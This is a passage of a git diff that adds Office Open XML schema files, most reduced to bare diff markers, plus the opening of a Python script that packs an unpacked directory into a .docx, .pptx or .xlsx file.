+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd new file mode 100644 index 00000000..8821dd18 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd @@ -0,0 +1,570 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd new file mode 100644 index 00000000..ca2575c7 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd @@ -0,0 +1,509 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd new file mode 100644 index 00000000..dd079e60 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd @@ -0,0 +1,12 @@ + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd new file mode 100644 index 00000000..3dd6cf62 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd new file mode 100644 index 00000000..f1041e34 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd @@ -0,0 +1,96 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd new file mode 100644 index 00000000..9c5b7a63 --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd @@ -0,0 +1,3646 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd new file mode 100644 index 00000000..0f13678d --- /dev/null +++ b/skills/docx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd @@ -0,0 +1,116 @@ + + + + + + See http://www.w3.org/XML/1998/namespace.html and + http://www.w3.org/TR/REC-xml for information about this namespace. + + This schema document describes the XML namespace, in a form + suitable for import by other schema documents. + + Note that local names in this namespace are intended to be defined + only by the World Wide Web Consortium or its subgroups. The + following names are currently defined in this namespace and should + not be used with conflicting semantics by any Working Group, + specification, or document instance: + + base (as an attribute name): denotes an attribute whose value + provides a URI to be used as the base for interpreting any + relative URIs in the scope of the element on which it + appears; its value is inherited. This name is reserved + by virtue of its definition in the XML Base specification. + + lang (as an attribute name): denotes an attribute whose value + is a language code for the natural language of the content of + any element; its value is inherited. This name is reserved + by virtue of its definition in the XML specification. + + space (as an attribute name): denotes an attribute whose + value is a keyword indicating what whitespace processing + discipline is intended for the content of the element; its + value is inherited. This name is reserved by virtue of its + definition in the XML specification. + + Father (in any context at all): denotes Jon Bosak, the chair of + the original XML Working Group. This name is reserved by + the following decision of the W3C XML Plenary and + XML Coordination groups: + + In appreciation for his vision, leadership and dedication + the W3C XML Plenary on this 10th day of February, 2000 + reserves for Jon Bosak in perpetuity the XML name + xml:Father + + + + + This schema defines attributes and an attribute group + suitable for use by + schemas wishing to allow xml:base, xml:lang or xml:space attributes + on elements they define. + + To enable this, such a schema must import this schema + for the XML namespace, e.g. as follows: + <schema . . .> + . . . + <import namespace="http://www.w3.org/XML/1998/namespace" + schemaLocation="http://www.w3.org/2001/03/xml.xsd"/> + + Subsequently, qualified reference to any of the attributes + or the group defined below will have the desired effect, e.g. + + <type . . .> + . . . + <attributeGroup ref="xml:specialAttrs"/> + + will define a type which will schema-validate an instance + element with any of those attributes + + + + In keeping with the XML Schema WG's standard versioning + policy, this schema document will persist at + http://www.w3.org/2001/03/xml.xsd. + At the date of issue it can also be found at + http://www.w3.org/2001/xml.xsd. + The schema document at that URI may however change in the future, + in order to remain compatible with the latest version of XML Schema + itself. In other words, if the XML Schema namespace changes, the version + of this document at + http://www.w3.org/2001/xml.xsd will change + accordingly; the version at + http://www.w3.org/2001/03/xml.xsd will not change. + + + + + + In due course, we should install the relevant ISO 2- and 3-letter + codes as the enumerated possible values . . . + + + + + + + + + + + + + + + See http://www.w3.org/TR/xmlbase/ for + information about this attribute. + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd b/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd new file mode 100644 index 00000000..a6de9d27 --- /dev/null +++ b/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsd @@ -0,0 +1,42 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd b/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd new file mode 100644 index 00000000..10e978b6 --- /dev/null +++ b/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsd @@ -0,0 +1,50 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd b/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd new file mode 100644 index 00000000..4248bf7a --- /dev/null +++ b/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-digSig.xsd @@ -0,0 +1,49 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd b/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd new file mode 100644 index 00000000..56497467 --- /dev/null +++ b/skills/docx/ooxml/schemas/ecma/fouth-edition/opc-relationships.xsd @@ -0,0 +1,33 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/mce/mc.xsd b/skills/docx/ooxml/schemas/mce/mc.xsd new file mode 100644 index 00000000..ef725457 --- /dev/null +++ b/skills/docx/ooxml/schemas/mce/mc.xsd @@ -0,0 +1,75 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/microsoft/wml-2010.xsd b/skills/docx/ooxml/schemas/microsoft/wml-2010.xsd new file mode 100644 index 00000000..f65f7777 --- /dev/null +++ b/skills/docx/ooxml/schemas/microsoft/wml-2010.xsd @@ -0,0 +1,560 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/microsoft/wml-2012.xsd b/skills/docx/ooxml/schemas/microsoft/wml-2012.xsd new file mode 100644 index 00000000..6b00755a --- /dev/null +++ b/skills/docx/ooxml/schemas/microsoft/wml-2012.xsd @@ -0,0 +1,67 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/microsoft/wml-2018.xsd b/skills/docx/ooxml/schemas/microsoft/wml-2018.xsd new file mode 100644 index 00000000..f321d333 --- /dev/null +++ b/skills/docx/ooxml/schemas/microsoft/wml-2018.xsd @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/microsoft/wml-cex-2018.xsd b/skills/docx/ooxml/schemas/microsoft/wml-cex-2018.xsd new file mode 100644 index 00000000..364c6a9b --- /dev/null +++ b/skills/docx/ooxml/schemas/microsoft/wml-cex-2018.xsd @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/microsoft/wml-cid-2016.xsd b/skills/docx/ooxml/schemas/microsoft/wml-cid-2016.xsd new file mode 100644 index 00000000..fed9d15b --- /dev/null +++ b/skills/docx/ooxml/schemas/microsoft/wml-cid-2016.xsd @@ -0,0 +1,13 @@ + + + + + + + + + + + + + diff --git a/skills/docx/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd b/skills/docx/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd new file mode 100644 index 00000000..680cf154 --- /dev/null +++ b/skills/docx/ooxml/schemas/microsoft/wml-sdtdatahash-2020.xsd @@ -0,0 +1,4 @@ + + + + diff --git a/skills/docx/ooxml/schemas/microsoft/wml-symex-2015.xsd b/skills/docx/ooxml/schemas/microsoft/wml-symex-2015.xsd new file mode 100644 index 00000000..89ada908 --- /dev/null +++ b/skills/docx/ooxml/schemas/microsoft/wml-symex-2015.xsd @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/skills/docx/ooxml/scripts/pack.py b/skills/docx/ooxml/scripts/pack.py new file mode 100755 index 00000000..68bc0886 --- /dev/null +++ b/skills/docx/ooxml/scripts/pack.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 +""" +Tool to pack a directory into a .docx, .pptx, or .xlsx file with XML formatting undone. + +Example usage: + python pack.py [--force] +""" + +import argparse +import shutil +import subprocess +import sys +import tempfile +import defusedxml.minidom +import zipfile +from pathlib import Path + + +def main(): + parser = argparse.ArgumentParser(description="Pack a directory into an Office file") + parser.add_argument("input_directory", help="Unpacked Office document directory") + parser.add_argument("output_file", help="Output Office file (.docx/.pptx/.xlsx)") + parser.add_argument("--force", action="store_true", help="Skip validation") + args = parser.parse_args() + + try: + success = pack_document( + args.input_directory, args.output_file, validate=not args.force + ) + + # Show warning if validation was skipped + if args.force: + print("Warning: Skipped validation, file may be corrupt", file=sys.stderr) + # Exit with error if validation failed + elif not success: + print("Contents would produce a corrupt file.", file=sys.stderr) + print("Please validate XML before repacking.", file=sys.stderr) + print("Use --force to skip validation and pack anyway.", file=sys.stderr) + sys.exit(1) + + except ValueError as e: + sys.exit(f"Error: {e}") + + +def pack_document(input_dir, output_file, validate=False): + """Pack a directory into an Office file (.docx/.pptx/.xlsx). + + Args: + input_dir: Path to unpacked Office document directory + output_file: Path to output Office file + validate: If True, validates with soffice (default: False) + + Returns: + bool: True if successful, 